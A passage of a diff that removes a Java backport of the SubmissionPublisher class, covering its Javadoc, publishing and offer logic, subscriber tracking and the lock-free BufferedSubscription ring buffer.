* immediately or with bounded timeout), but provide an opportunity to - * interpose a handler and then retry. - * <p> - * <p>If any Subscriber method throws an exception, its subscription - * is cancelled. If a handler is supplied as a constructor argument, - * it is invoked before cancellation upon an exception in method - * {@link Flow.Subscriber#onNext onNext}, but exceptions in methods - * {@link Flow.Subscriber#onSubscribe onSubscribe}, - * {@link Flow.Subscriber#onError(Throwable) onError} and - * {@link Flow.Subscriber#onComplete() onComplete} are not recorded or - * handled before cancellation. If the supplied Executor throws - * {@link RejectedExecutionException} (or any other RuntimeException - * or Error) when attempting to execute a task, or a drop handler - * throws an exception when processing a dropped item, then the - * exception is rethrown. In these cases, not all subscribers will - * have been issued the published item. It is usually good practice to - * {@link #closeExceptionally closeExceptionally} in these cases. - * <p> - * <p>Method {@link #consume(Consumer)} simplifies support for a - * common case in which the only action of a subscriber is to request - * and process all items using a supplied function. - * <p> - * <p>This class may also serve as a convenient base for subclasses - * that generate items, and use the methods in this class to publish - * them. For example here is a class that periodically publishes the - * items generated from a supplier. (In practice you might add methods - * to independently start and stop generation, to share Executors - * among publishers, and so on, or use a SubmissionPublisher as a - * component rather than a superclass.) - * <p> - * <pre> {@code - * class PeriodicPublisher<T> extends SubmissionPublisher<T> { - * final ScheduledFuture<?> periodicTask; - * final ScheduledExecutorService scheduler; - * PeriodicPublisher(Executor executor, int maxBufferCapacity, - * Supplier<? extends T> supplier, - * long period, TimeUnit unit) { - * super(executor, maxBufferCapacity); - * scheduler = new ScheduledThreadPoolExecutor(1); - * periodicTask = scheduler.scheduleAtFixedRate( - * () -> submit(supplier.get()), 0, period, unit); - * } - * public void close() { - * periodicTask.cancel(false); - * scheduler.shutdown(); - * super.close(); - * } - * }}</pre> - * <p> - * <p>Here is an example of a {@link Flow.Processor} implementation. - * It uses single-step requests to its publisher for simplicity of - * illustration. A more adaptive version could monitor flow using the - * lag estimate returned from {@code submit}, along with other utility - * methods. - * <p> - * <pre> {@code - * class TransformProcessor<S,T> extends SubmissionPublisher<T> - * implements Flow.Processor<S,T> { - * final Function<? super S, ? extends T> function; - * Flow.Subscription subscription; - * TransformProcessor(Executor executor, int maxBufferCapacity, - * Function<? super S, ? extends T> function) { - * super(executor, maxBufferCapacity); - * this.function = function; - * } - * public void onSubscribe(Flow.Subscription subscription) { - * (this.subscription = subscription).request(1); - * } - * public void onNext(S item) { - * subscription.request(1); - * submit(function.apply(item)); - * } - * public void onError(Throwable ex) { closeExceptionally(ex); } - * public void onComplete() { close(); } - * }}</pre> - * - * @param <T> the published item type - * @author Doug Lea - * @since 9 - */ -public class SubmissionPublisher<T> implements Flow.Publisher<T>, SubmittableFlowPublisher<T>, - AutoCloseable { - /* - * Most mechanics are handled by BufferedSubscription. This class - * mainly tracks subscribers and ensures sequentiality, by using - * built-in synchronization locks across public methods. (Using - * built-in locks works well in the most typical case in which - * only one thread submits items). - */ - - /** - * The largest possible power of two array size. - */ - static final int BUFFER_CAPACITY_LIMIT = 1 << 30; - - /** - * Round capacity to power of 2, at most limit. - */ - static final int roundCapacity(int cap) { - int n = cap - 1; - n |= n >>> 1; - n |= n >>> 2; - n |= n >>> 4; - n |= n >>> 8; - n |= n >>> 16; - return (n <= 0) ? 1 : // at least 1 - (n >= BUFFER_CAPACITY_LIMIT) ? BUFFER_CAPACITY_LIMIT : n + 1; - } - - // default Executor setup; nearly the same as CompletableFuture - - /** - * Default executor -- ForkJoinPool.commonPool() unless it cannot - * support parallelism. - */ - private static final Executor ASYNC_POOL = - (ForkJoinPool.getCommonPoolParallelism() > 1) ? ForkJoinPool.commonPool() : new ThreadPerTaskExecutor(); - - /** - * Fallback if ForkJoinPool.commonPool() cannot support parallelism - */ - private static final class ThreadPerTaskExecutor implements Executor { - public void execute(Runnable r) { - new Thread(r).start(); - } - } - - /** - * Clients (BufferedSubscriptions) are maintained in a linked list - * (via their "next" fields). This works well for publish loops. - * It requires O(n) traversal to check for duplicate subscribers, - * but we expect that subscribing is much less common than - * publishing. Unsubscribing occurs only during traversal loops, - * when BufferedSubscription methods return negative values - * signifying that they have been disabled. To reduce - * head-of-line blocking, submit and offer methods first call - * BufferedSubscription.offer on each subscriber, and place - * saturated ones in retries list (using nextRetry field), and - * retry, possibly blocking or dropping. - */ - BufferedSubscription<T> clients; - - /** - * Run status, updated only within locks - */ - volatile boolean closed; - /** - * If non-null, the exception in closeExceptionally - */ - volatile Throwable closedException; - - // Parameters for constructing BufferedSubscriptions - final Executor executor; - final BiConsumer<? super Flow.Subscriber<? super T>, ? super Throwable> onNextHandler; - final int maxBufferCapacity; - - /** - * Creates a new SubmissionPublisher using the given Executor for - * async delivery to subscribers, with the given maximum buffer size - * for each subscriber, and, if non-null, the given handler invoked - * when any Subscriber throws an exception in method {@link - * Flow.Subscriber#onNext(Object) onNext}. - * - * @param executor the executor to use for async delivery, - * supporting creation of at least one independent thread - * @param maxBufferCapacity the maximum capacity for each - * subscriber's buffer (the enforced capacity may be rounded up to - * the nearest power of two and/or bounded by the largest value - * supported by this implementation; method {@link #getMaxBufferCapacity} - * returns the actual value) - * @param handler if non-null, procedure to invoke upon exception - * thrown in method {@code onNext} - * @throws NullPointerException if executor is null - * @throws IllegalArgumentException if maxBufferCapacity not - * positive - */ - public SubmissionPublisher(Executor executor, int maxBufferCapacity, - BiConsumer<? super Flow.Subscriber<? super T>, ? super Throwable> handler) { - if (executor == null) { - throw new NullPointerException(); - } - if (maxBufferCapacity <= 0) { - throw new IllegalArgumentException("capacity must be positive"); - } - this.executor = executor; - this.onNextHandler = handler; - this.maxBufferCapacity = roundCapacity(maxBufferCapacity); - } - - /** - * Creates a new SubmissionPublisher using the given Executor for - * async delivery to subscribers, with the given maximum buffer size - * for each subscriber, and no handler for Subscriber exceptions in - * method {@link Flow.Subscriber#onNext(Object) onNext}. - * - * @param executor the executor to use for async delivery, - * supporting creation of at least one independent thread - * @param maxBufferCapacity the maximum capacity for each - * subscriber's buffer (the enforced capacity may be rounded up to - * the nearest power of two and/or bounded by the largest value - * supported by this implementation; method {@link #getMaxBufferCapacity} - * returns the actual value) - * @throws NullPointerException if executor is null - * @throws IllegalArgumentException if maxBufferCapacity not - * positive - */ - public SubmissionPublisher(Executor executor, int maxBufferCapacity) { - this(executor, maxBufferCapacity, null); - } - - /** - * Creates a new SubmissionPublisher using the {@link - * ForkJoinPool#commonPool()} for async delivery to subscribers - * (unless it does not support a parallelism level of at least two, - * in which case, a new Thread is created to run each task), with - * maximum buffer capacity of {@link Flow#defaultBufferSize}, and no - * handler for Subscriber exceptions in method {@link - * Flow.Subscriber#onNext(Object) onNext}. - */ - public SubmissionPublisher() { - this(ASYNC_POOL, Flow.defaultBufferSize(), null); - } - - /** - * Adds the given Subscriber unless already subscribed. If already - * subscribed, the Subscriber's {@link - * Flow.Subscriber#onError(Throwable) onError} method is invoked on - * the existing subscription with an {@link IllegalStateException}. - * Otherwise, upon success, the Subscriber's {@link - * Flow.Subscriber#onSubscribe onSubscribe} method is invoked - * asynchronously with a new {@link Flow.Subscription}. If {@link - * Flow.Subscriber#onSubscribe onSubscribe} throws an exception, the - * subscription is cancelled. Otherwise, if this SubmissionPublisher - * was closed exceptionally, then the subscriber's {@link - * Flow.Subscriber#onError onError} method is invoked with the - * corresponding exception, or if closed without exception, the - * subscriber's {@link Flow.Subscriber#onComplete() onComplete} - * method is invoked. Subscribers may enable receiving items by - * invoking the {@link Flow.Subscription#request(long) request} - * method of the new Subscription, and may unsubscribe by invoking - * its {@link Flow.Subscription#cancel() cancel} method. - * - * @param subscriber the subscriber - * @throws NullPointerException if subscriber is null - */ - public void subscribe(Flow.Subscriber<? super T> subscriber) { - if (subscriber == null) { - throw new NullPointerException(); - } - BufferedSubscription<T> subscription = - new BufferedSubscription<T>(subscriber, executor, - onNextHandler, maxBufferCapacity); - synchronized (this) { - for (BufferedSubscription<T> b = clients, pred = null;;) { - if (b == null) { - Throwable ex; - subscription.onSubscribe(); - if ((ex = closedException) != null) { - subscription.onError(ex); - } else if (closed) { - subscription.onComplete(); - } else if (pred == null) { - clients = subscription; - } else { - pred.next = subscription; - } - break; - } - BufferedSubscription<T> next = b.next; - if (b.isDisabled()) { // remove - b.next = null; // detach - if (pred == null) { - clients = next; - } else { - pred.next = next; - } - } else if (subscriber.equals(b.subscriber)) { - b.onError(new IllegalStateException("Duplicate subscribe")); - break; - } else { - pred = b; - } - b = next; - } - } - } - - /** - * Publishes the given item to each current subscriber by - * asynchronously invoking its {@link Flow.Subscriber#onNext(Object) - * onNext} method, blocking uninterruptibly while resources for any - * subscriber are unavailable. This method returns an estimate of - * the maximum lag (number of items submitted but not yet consumed) - * among all current subscribers. This value is at least one - * (accounting for this submitted item) if there are any - * subscribers, else zero. - * <p> - * <p>If the Executor for this publisher throws a - * RejectedExecutionException (or any other RuntimeException or - * Error) when attempting to asynchronously notify subscribers, - * then this exception is rethrown, in which case not all - * subscribers will have been issued this item. - * - * @param item the (non-null) item to publish - * @return the estimated maximum lag among subscribers - * @throws IllegalStateException if closed - * @throws NullPointerException if item is null - * @throws RejectedExecutionException if thrown by Executor - */ - public int submit(T item) { - if (item == null) { - throw new NullPointerException(); - } - int lag = 0; - boolean complete; - synchronized (this) { - complete = closed; - BufferedSubscription<T> b = clients; - if (!complete) { - BufferedSubscription<T> pred = null, r = null, rtail = null; - while (b != null) { - BufferedSubscription<T> next = b.next; - int stat = b.offer(item); - if (stat < 0) { // disabled - b.next = null; - if (pred == null) { - clients = next; - } else { - pred.next = next; - } - } else { - if (stat > lag) { - lag = stat; - } else if (stat == 0) { // place on retry list - b.nextRetry = null; - if (rtail == null) { - r = b; - } else { - rtail.nextRetry = b; - } - rtail = b; - } - pred = b; - } - b = next; - } - while (r != null) { - BufferedSubscription<T> nextRetry = r.nextRetry; - r.nextRetry = null; - int stat = r.submit(item); - if (stat > lag) { - lag = stat; - } else if (stat < 0 && clients == r) { - clients = r.next; // postpone internal unsubscribes - } - r = nextRetry; - } - } - } - if (complete) { - throw new IllegalStateException("Closed"); - } else { - return lag; - } - } - - /** - * Publishes the given item, if possible, to each current subscriber - * by asynchronously invoking its {@link - * Flow.Subscriber#onNext(Object) onNext} method. The item may be - * dropped by one or more subscribers if resource limits are - * exceeded, in which case the given handler (if non-null) is - * invoked, and if it returns true, retried once. Other calls to - * methods in this class by other threads are blocked while the - * handler is invoked. Unless recovery is assured, options are - * usually limited to logging the error and/or issuing an {@link - * Flow.Subscriber#onError(Throwable) onError} signal to the - * subscriber. - * <p> - * <p>This method returns a status indicator: If negative, it - * represents the (negative) number of drops (failed attempts to - * issue the item to a subscriber). Otherwise it is an estimate of - * the maximum lag (number of items submitted but not yet - * consumed) among all current subscribers. This value is at least - * one (accounting for this submitted item) if there are any - * subscribers, else zero. - * <p> - * <p>If the Executor for this publisher throws a - * RejectedExecutionException (or any other RuntimeException or - * Error) when attempting to asynchronously notify subscribers, or - * the drop handler throws an exception when processing a dropped - * item, then this exception is rethrown. - * - * @param item the (non-null) item to publish - * @param onDrop if non-null, the handler invoked upon a drop to a - * subscriber, with arguments of the subscriber and item; if it - * returns true, an offer is re-attempted (once) - * @return if negative, the (negative) number of drops; otherwise - * an estimate of maximum lag - * @throws IllegalStateException if closed - * @throws NullPointerException if item is null - * @throws RejectedExecutionException if thrown by Executor - */ - public int offer(T item, - BiPredicate<Flow.Subscriber<? super T>, ? super T> onDrop) { - return doOffer(0L, item, onDrop); - } - - /** - * Publishes the given item, if possible, to each current subscriber - * by asynchronously invoking its {@link - * Flow.Subscriber#onNext(Object) onNext} method, blocking while - * resources for any subscription are unavailable, up to the - * specified timeout or until the caller thread is interrupted, at - * which point the given handler (if non-null) is invoked, and if it - * returns true, retried once. (The drop handler may distinguish - * timeouts from interrupts by checking whether the current thread - * is interrupted.) Other calls to methods in this class by other - * threads are blocked while the handler is invoked. Unless - * recovery is assured, options are usually limited to logging the - * error and/or issuing an {@link Flow.Subscriber#onError(Throwable) - * onError} signal to the subscriber. - * <p> - * <p>This method returns a status indicator: If negative, it - * represents the (negative) number of drops (failed attempts to - * issue the item to a subscriber). Otherwise it is an estimate of - * the maximum lag (number of items submitted but not yet - * consumed) among all current subscribers. This value is at least - * one (accounting for this submitted item) if there are any - * subscribers, else zero. - * <p> - * <p>If the Executor for this publisher throws a - * RejectedExecutionException (or any other RuntimeException or - * Error) when attempting to asynchronously notify subscribers, or - * the drop handler throws an exception when processing a dropped - * item, then this exception is rethrown. - * - * @param item the (non-null) item to publish - * @param timeout how long to wait for resources for any subscriber - * before giving up, in units of {@code unit} - * @param unit a {@code TimeUnit} determining how to interpret the - * {@code timeout} parameter - * @param onDrop if non-null, the handler invoked upon a drop to a - * subscriber, with arguments of the subscriber and item; if it - * returns true, an offer is re-attempted (once) - * @return if negative, the (negative) number of drops; otherwise - * an estimate of maximum lag - * @throws IllegalStateException if closed - * @throws NullPointerException if item is null - * @throws RejectedExecutionException if thrown by Executor - */ - public int offer(T item, long timeout, TimeUnit unit, - BiPredicate<Flow.Subscriber<? super T>, ? super T> onDrop) { - return doOffer(unit.toNanos(timeout), item, onDrop); - } - - /** - * Common implementation for both forms of offer - */ - final int doOffer(long nanos, T item, - BiPredicate<Flow.Subscriber<? super T>, ? super T> onDrop) { - if (item == null) { - throw new NullPointerException(); - } - int lag = 0, drops = 0; - boolean complete; - synchronized (this) { - complete = closed; - BufferedSubscription<T> b = clients; - if (!complete) { - BufferedSubscription<T> pred = null, r = null, rtail = null; - while (b != null) { - BufferedSubscription<T> next = b.next; - int stat = b.offer(item); - if (stat < 0) { - b.next = null; - if (pred == null) { - clients = next; - } else { - pred.next = next; - } - } else { - if (stat > lag) { - lag = stat; - } else if (stat == 0) { - b.nextRetry = null; - if (rtail == null) { - r = b; - } else { - rtail.nextRetry = b; - } - rtail = b; - } else if (stat > lag) { - lag = stat; - } - pred = b; - } - b = next; - } - while (r != null) { - BufferedSubscription<T> nextRetry = r.nextRetry; - r.nextRetry = null; - int stat = (nanos > 0L) - ? r.timedOffer(item, nanos) - : r.offer(item); - if (stat == 0 && onDrop != null && onDrop.test(r.subscriber, item)) { - stat = r.offer(item); - } - if (stat == 0) { - ++drops; - } else if (stat > lag) { - lag = stat; - } else if (stat < 0 && clients == r) { - clients = r.next; - } - r = nextRetry; - } - } - } - if (complete) { - throw new IllegalStateException("Closed"); - } else { - return (drops > 0) ? -drops : lag; - } - } - - /** - * Unless already closed, issues {@link - * Flow.Subscriber#onComplete() onComplete} signals to current - * subscribers, and disallows subsequent attempts to publish. - * Upon return, this method does <em>NOT</em> guarantee that all - * subscribers have yet completed. - */ - public void close() { - if (!closed) { - BufferedSubscription<T> b; - synchronized (this) { - b = clients; - clients = null; - closed = true; - } - while (b != null) { - BufferedSubscription<T> next = b.next; - b.next = null; - b.onComplete(); - b = next; - } - } - } - - /** - * Unless already closed, issues {@link - * Flow.Subscriber#onError(Throwable) onError} signals to current - * subscribers with the given error, and disallows subsequent - * attempts to publish. Future subscribers also receive the given - * error. Upon return, this method does <em>NOT</em> guarantee - * that all subscribers have yet completed. - * - * @param error the {@code onError} argument sent to subscribers - * @throws NullPointerException if error is null - */ - public void closeExceptionally(Throwable error) { - if (error == null) { - throw new NullPointerException(); - } - if (!closed) { - BufferedSubscription<T> b; - synchronized (this) { - b = clients; - clients = null; - closed = true; - closedException = error; - } - while (b != null) { - BufferedSubscription<T> next = b.next; - b.next = null; - b.onError(error); - b = next; - } - } - } - - /** - * Returns true if this publisher is not accepting submissions. - * - * @return true if closed - */ - public boolean isClosed() { - return closed; - } - - /** - * Returns the exception associated with {@link - * #closeExceptionally(Throwable) closeExceptionally}, or null if - * not closed or if closed normally. - * - * @return the exception, or null if none - */ - public Throwable getClosedException() { - return closedException; - } - - /** - * Returns true if this publisher has any subscribers. - * - * @return true if this publisher has any subscribers - */ - public boolean hasSubscribers() { - boolean nonEmpty = false; - if (!closed) { - synchronized (this) { - for (BufferedSubscription<T> b = clients; b != null; ) { - BufferedSubscription<T> next = b.next; - if (b.isDisabled()) { - b.next = null; - b = clients = next; - } else { - nonEmpty = true; - break; - } - } - } - } - return nonEmpty; - } - - /** - * Returns the number of current subscribers. - * - * @return the number of current subscribers - */ - public int getNumberOfSubscribers() { - int count = 0; - if (!closed) { - synchronized (this) { - BufferedSubscription<T> pred = null, next; - for (BufferedSubscription<T> b = clients; b != null; b = next) { - next = b.next; - if (b.isDisabled()) { - b.next = null; - if (pred == null) { - clients = next; - } else { - pred.next = next; - } - } else { - pred = b; - ++count; - } - } - } - } - return count; - } - - /** - * Returns the Executor used for asynchronous delivery. - * - * @return the Executor used for asynchronous delivery - */ - public Executor getExecutor() { - return executor; - } - - /** - * Returns the maximum per-subscriber buffer capacity. - * - * @return the maximum per-subscriber buffer capacity - */ - public int getMaxBufferCapacity() { - return maxBufferCapacity; - } - - /** - * Returns a list of current subscribers for monitoring and - * tracking purposes, not for invoking {@link Flow.Subscriber} - * methods on the subscribers. - * - * @return list of current subscribers - */ - public List<Flow.Subscriber<? super T>> getSubscribers() { - ArrayList<Flow.Subscriber<? super T>> subs = new ArrayList<>(); - synchronized (this) { - BufferedSubscription<T> pred = null, next; - for (BufferedSubscription<T> b = clients; b != null; b = next) { - next = b.next; - if (b.isDisabled()) { - b.next = null; - if (pred == null) { - clients = next; - } else { - pred.next = next; - } - } else { - subs.add(b.subscriber); - } - } - } - return subs; - } - - /** - * Returns true if the given Subscriber is currently subscribed. - * - * @param subscriber the subscriber - * @return true if currently subscribed - * @throws NullPointerException if subscriber is null - */ - public boolean isSubscribed(Flow.Subscriber<? super T> subscriber) { - if (subscriber == null) { - throw new NullPointerException(); - } - if (!closed) { - synchronized (this) { - BufferedSubscription<T> pred = null, next; - for (BufferedSubscription<T> b = clients; b != null; b = next) { - next = b.next; - if (b.isDisabled()) { - b.next = null; - if (pred == null) { - clients = next; - } else { - pred.next = next; - } - } else if (subscriber.equals(b.subscriber)) { - return true; - } else { - pred = b; - } - } - } - } - return false; - } - - /** - * Returns an estimate of the minimum number of items requested - * (via {@link Flow.Subscription#request(long) request}) but not - * yet produced, among all current subscribers. - * - * @return the estimate, or zero if no subscribers - */ - public long estimateMinimumDemand() { - long min = Long.MAX_VALUE; - boolean nonEmpty = false; - synchronized (this) { - BufferedSubscription<T> pred = null, next; - for (BufferedSubscription<T> b = clients; b != null; b = next) { - int n; - long d; - next = b.next; - if ((n = b.estimateLag()) < 0) { - b.next = null; - if (pred == null) { - clients = next; - } else { - pred.next = next; - } - } else { - if ((d = b.demand - n) < min) { - min = d; - } - nonEmpty = true; - pred = b; - } - } - } - return nonEmpty ? min : 0; - } - - /** - * Returns an estimate of the maximum number of items produced but - * not yet consumed among all current subscribers. - * - * @return the estimate - */ - public int estimateMaximumLag() { - int max = 0; - synchronized (this) { - BufferedSubscription<T> pred = null, next; - for (BufferedSubscription<T> b = clients; b != null; b = next) { - int n; - next = b.next; - if ((n = b.estimateLag()) < 0) { - b.next = null; - if (pred == null) { - clients = next; - } else { - pred.next = next; - } - } else { - if (n > max) { - max = n; - } - pred = b; - } - } - } - return max; - } - - /** - * Processes all published items using the given Consumer function. - * Returns a CompletableFuture that is completed normally when this - * publisher signals {@link Flow.Subscriber#onComplete() - * onComplete}, or completed exceptionally upon any error, or an - * exception is thrown by the Consumer, or the returned - * CompletableFuture is cancelled, in which case no further items - * are processed. - * - * @param consumer the function applied to each onNext item - * @return a CompletableFuture that is completed normally - * when the publisher signals onComplete, and exceptionally - * upon any error or cancellation - * @throws NullPointerException if consumer is null - */ - public CompletableFuture<Void> consume(Consumer<? super T> consumer) { - if (consumer == null) { - throw new NullPointerException(); - } - CompletableFuture<Void> status = new CompletableFuture<>(); - subscribe(new ConsumerSubscriber<T>(status, consumer)); - return status; - } - - /** - * Subscriber for method consume - */ - private static final class ConsumerSubscriber<T> - implements Flow.Subscriber<T> { - final CompletableFuture<Void> status; - final Consumer<? super T> consumer; - Flow.Subscription subscription; - - ConsumerSubscriber(CompletableFuture<Void> status, - Consumer<? super T> consumer) { - this.status = status; - this.consumer = consumer; - } - - public final void onSubscribe(Flow.Subscription subscription) { - this.subscription = subscription; - status.whenComplete((v, e) -> subscription.cancel()); - if (!status.isDone()) { - subscription.request(Long.MAX_VALUE); - } - } - - public final void onError(Throwable ex) { - status.completeExceptionally(ex); - } - - public final void onComplete() { - status.complete(null); - } - - public final void onNext(T item) { - try { - consumer.accept(item); - } catch (Throwable ex) { - subscription.cancel(); - status.completeExceptionally(ex); - } - } - } - - /** - * A task for consuming buffer items and signals, created and - * executed whenever they become available. A task consumes as - * many items/signals as possible before terminating, at which - * point another task is created when needed. The dual Runnable - * and ForkJoinTask declaration saves overhead when executed by - * ForkJoinPools, without impacting other kinds of Executors. - */ - @SuppressWarnings("serial") - static final class ConsumerTask<T> extends ForkJoinTask<Void> - implements Runnable, CompletableFuture.AsynchronousCompletionTask { - final BufferedSubscription<T> consumer; - - ConsumerTask(BufferedSubscription<T> consumer) { - this.consumer = consumer; - } - - public final Void getRawResult() { - return null; - } - - public final void setRawResult(Void v) { - } - - public final boolean exec() { - consumer.consume(); - return false; - } - - public final void run() { - consumer.consume(); - } - } - - /** - * A bounded (ring) buffer with integrated control to start a - * consumer task whenever items are available. The buffer - * algorithm is similar to one used inside ForkJoinPool (see its - * internal documentation for details) specialized for the case of - * at most one concurrent producer and consumer, and power of two - * buffer sizes. This allows methods to operate without locks even - * while supporting resizing, blocking, task-triggering, and - * garbage-free buffers (nulling out elements when consumed), - * although supporting these does impose a bit of overhead - * compared to plain fixed-size ring buffers. - * <p> - * The publisher guarantees a single producer via its lock. We - * ensure in this class that there is at most one consumer. The - * request and cancel methods must be fully thread-safe but are - * coded to exploit the most common case in which they are only - * called by consumers (usually within onNext). - * <p> - * Execution control is managed using the ACTIVE ctl bit. We - * ensure that a task is active when consumable items (and - * usually, SUBSCRIBE, ERROR or COMPLETE signals) are present and - * there is demand (unfilled requests). This is complicated on - * the creation side by the possibility of exceptions when trying - * to execute tasks. These eventually force DISABLED state, but - * sometimes not directly. On the task side, termination (clearing - * ACTIVE) that would otherwise race with producers or request() - * calls uses the CONSUME keep-alive bit to force a recheck. - * <p> - * The ctl field also manages run state. When DISABLED, no further - * updates are possible. Disabling may be preceded by setting - * ERROR or COMPLETE (or both -- ERROR has precedence), in which - * case the associated Subscriber methods are invoked, possibly - * synchronously if there is no active consumer task (including - * cases where execute() failed). The cancel() method is supported - * by treating as ERROR but suppressing onError signal. - * <p> - * Support for blocking also exploits the fact that there is only - * one possible waiter. ManagedBlocker-compatible control fields - * are placed in this class itself rather than in wait-nodes. - * Blocking control relies on the "waiter" field. Producers set - * the field before trying to block, but must then recheck (via - * offer) before parking. Signalling then just unparks and clears - * waiter field. If the producer and/or consumer are using a - * ForkJoinPool, the producer attempts to help run consumer tasks - * via ForkJoinPool.helpAsyncBlocker before blocking. - * <p> - * This class uses @Contended and heuristic field declaration - * ordering to reduce false-sharing-based memory contention among - * instances of BufferedSubscription, but it does not currently - * attempt to avoid memory contention among buffers. This field - * and element packing can hurt performance especially when each - * publisher has only one client operating at a high rate. - * Addressing this may require allocating substantially more space - * than users expect. - */ - @SuppressWarnings("serial") - @sun.misc.Contended - private static final class BufferedSubscription<T> - implements Flow.Subscription, ForkJoinPool.ManagedBlocker { - // Order-sensitive field declarations - long timeout; // > 0 if timed wait - volatile long demand; // # unfilled requests - int maxCapacity; // reduced on OOME - int putStat; // offer result for ManagedBlocker - volatile int ctl; // atomic run state flags - volatile int head; // next position to take - int tail; // next position to put - Object[] array; // buffer: null if disabled - Flow.Subscriber<? super T> subscriber; // null if disabled - Executor executor; // null if disabled - BiConsumer<? super Flow.Subscriber<? super T>, ? super Throwable> onNextHandler; - volatile Throwable pendingError; // holds until onError issued - volatile Thread waiter; // blocked producer thread - T putItem; // for offer within ManagedBlocker - BufferedSubscription<T> next; // used only by publisher - BufferedSubscription<T> nextRetry; // used only by publisher - - // ctl values - static final int ACTIVE = 0x01; // consumer task active - static final int CONSUME = 0x02; // keep-alive for consumer task - static final int DISABLED = 0x04; // final state - static final int ERROR = 0x08; // signal onError then disable - static final int SUBSCRIBE = 0x10; // signal onSubscribe - static final int COMPLETE = 0x20; // signal onComplete when done - - static final long INTERRUPTED = -1L; // timeout vs interrupt sentinel - - /** - * Initial buffer capacity used when maxBufferCapacity is - * greater. Must be a power of two. - */ - static final int DEFAULT_INITIAL_CAP = 32; - - BufferedSubscription(Flow.Subscriber<? super T> subscriber, - Executor executor, - BiConsumer<? super Flow.Subscriber<? super T>, - ? super Throwable> onNextHandler, - int maxBufferCapacity) { - this.subscriber = subscriber; - this.executor = executor; - this.onNextHandler = onNextHandler; - this.maxCapacity = maxBufferCapacity; - this.array = new Object[maxBufferCapacity < DEFAULT_INITIAL_CAP - ? (maxBufferCapacity < 2 // at least 2 slots - ? 2 : maxBufferCapacity) - : DEFAULT_INITIAL_CAP]; - } - - @Override - public String toString() { - if (subscriber != null) { - return subscriber.toString(); - } else { - return super.toString(); - } - } - - final boolean isDisabled() { - return ctl == DISABLED; - } - - /** - * Returns estimated number of buffered items, or -1 if - * disabled. - */ - final int estimateLag() { - int n; - return (ctl == DISABLED) ? -1 : ((n = tail - head) > 0) ? n : 0; - } - - /** - * Tries to add item and start consumer task if necessary. - * - * @return -1 if disabled, 0 if dropped, else estimated lag - */ - final int offer(T item) { - int h = head, t = tail, cap, size, stat; - Object[] a = array; - if (a != null && (cap = a.length) > 0 && cap >= (size = t + 1 - h)) { - a[(cap - 1) & t] = item; // relaxed writes OK - tail = t + 1; - stat = size; - } else { - stat = growAndAdd(a, item); - } - return (stat > 0 && (ctl & (ACTIVE | CONSUME)) != (ACTIVE | CONSUME)) ? startOnOffer(stat) : stat; - } - - /** - * Tries to create or expand buffer, then adds item if possible. - */ - private int growAndAdd(Object[] a, T item) { - boolean alloc; - int cap, stat; - if ((ctl & (ERROR | DISABLED)) != 0) { - cap = 0; - stat = -1; - alloc = false; - } else if (a == null || (cap = a.length) <= 0) { - cap = 0; - stat = 1; - alloc = true; - } else { - U.fullFence(); // recheck - int h = head, t = tail, size = t + 1 - h; - if (cap >= size) { - a[(cap - 1) & t] = item; - tail = t + 1; - stat = size; - alloc = false; - } else if (cap >= maxCapacity) { - stat = 0; // cannot grow - alloc = false; - } else { - stat = cap + 1; - alloc = true; - } - } - if (alloc) { - int newCap = (cap > 0) ? cap << 1 : 1; - if (newCap <= cap) { - stat = 0; - } else { - Object[] newArray = null; - try { - newArray = new Object[newCap]; - } catch (Throwable ex) { // try to cope with OOME - } - if (newArray == null) { - if (cap > 0) { - maxCapacity = cap; // avoid continuous failure - } - stat = 0; - } else { - array = newArray; - int t = tail; - int newMask = newCap - 1; - if (a != null && cap > 0) { - int mask = cap - 1; - for (int j = head; j != t; ++j) { - long k = ((long) (j & mask) << ASHIFT) + ABASE; - Object x = U.getObjectVolatile(a, k); - if (x != null && // races with consumer - U.compareAndSwapObject(a, k, x, null)) { - newArray[j & newMask] = x; - } - } - } - newArray[t & newMask] = item; - tail = t + 1; - } - } - } - return stat; - } - - /** - * Spins/helps/blocks while offer returns 0. Called only if - * initial offer return 0. - */ - final int submit(T item) { - int stat; - if ((stat = offer(item)) == 0) { - putItem = item; - timeout = 0L; - putStat = 0; - // safe to comment out when executor != ForkJoinPool (TODO) - // ForkJoinPool.helpAsyncBlocker(executor, this); - if ((stat = putStat) == 0) { - try { - ForkJoinPool.managedBlock(this); - } catch (InterruptedException ie) { - timeout = INTERRUPTED; - } - stat = putStat; - } - if (timeout < 0L) { - Thread.currentThread().interrupt(); - } - } - return stat; - } - - /** - * Timeout version; similar to submit. - */ - final int timedOffer(T item, long nanos) { - int stat; - if ((stat = offer(item)) == 0 && (timeout = nanos) > 0L) { - putItem = item; - putStat = 0; - // safe to comment out when executor != ForkJoinPool (TODO) - // ForkJoinPool.helpAsyncBlocker(executor, this); - if ((stat = putStat) == 0) { - try { - ForkJoinPool.managedBlock(this); - } catch (InterruptedException ie) { - timeout = INTERRUPTED; - } - stat = putStat; - } - if (timeout < 0L) { - Thread.currentThread().interrupt(); - } - } - return stat; - } - - /** - * Tries to start consumer task after offer. - * - * @return -1 if now disabled, else argument - */ - private int startOnOffer(int stat) { - for (;;) { - Executor e; - int c; - if ((c = ctl) == DISABLED || (e = executor) == null) { - stat = -1; - break; - } else if ((c & ACTIVE) != 0) { // ensure keep-alive - if ((c & CONSUME) != 0 || U.compareAndSwapInt(this, CTL, c, c | CONSUME)) { - break; - } - } else if (demand == 0L || tail == head) { - break; - } else if (U.compareAndSwapInt(this, CTL, c, - c | (ACTIVE | CONSUME))) { - try { - e.execute(new ConsumerTask<T>(this)); - break; - } catch (RuntimeException | Error ex) { // back out - do { - } while (((c = ctl) & DISABLED) == 0 - && (c & ACTIVE) != 0 - && !U.compareAndSwapInt(this, CTL, c, c & ~ACTIVE)); - throw ex; - } - } - } - return stat; - } - - private void signalWaiter(Thread w) { - waiter = null; - LockSupport.unpark(w); // release producer - } - - /** - * Nulls out most fields, mainly to avoid garbage retention - * until publisher unsubscribes, but also to help cleanly stop - * upon error by nulling required components. - */ - private void detach() { - Thread w = waiter; - executor = null; - subscriber = null; - pendingError = null; - signalWaiter(w); - } - - /** - * Issues error signal, asynchronously if a task is running, - * else synchronously. - */ - final void onError(Throwable ex) { - for (int c;;) { - if (((c = ctl) & (ERROR | DISABLED)) != 0) { - break; - } else if ((c & ACTIVE) != 0) { - pendingError = ex; - if (U.compareAndSwapInt(this, CTL, c, c | ERROR)) { - break; // cause consumer task to exit - } - } else if (U.compareAndSwapInt(this, CTL, c, DISABLED)) { - Flow.Subscriber<? super T> s = subscriber; - if (s != null && ex != null) { - try { - s.onError(ex); - } catch (Throwable ignore) { 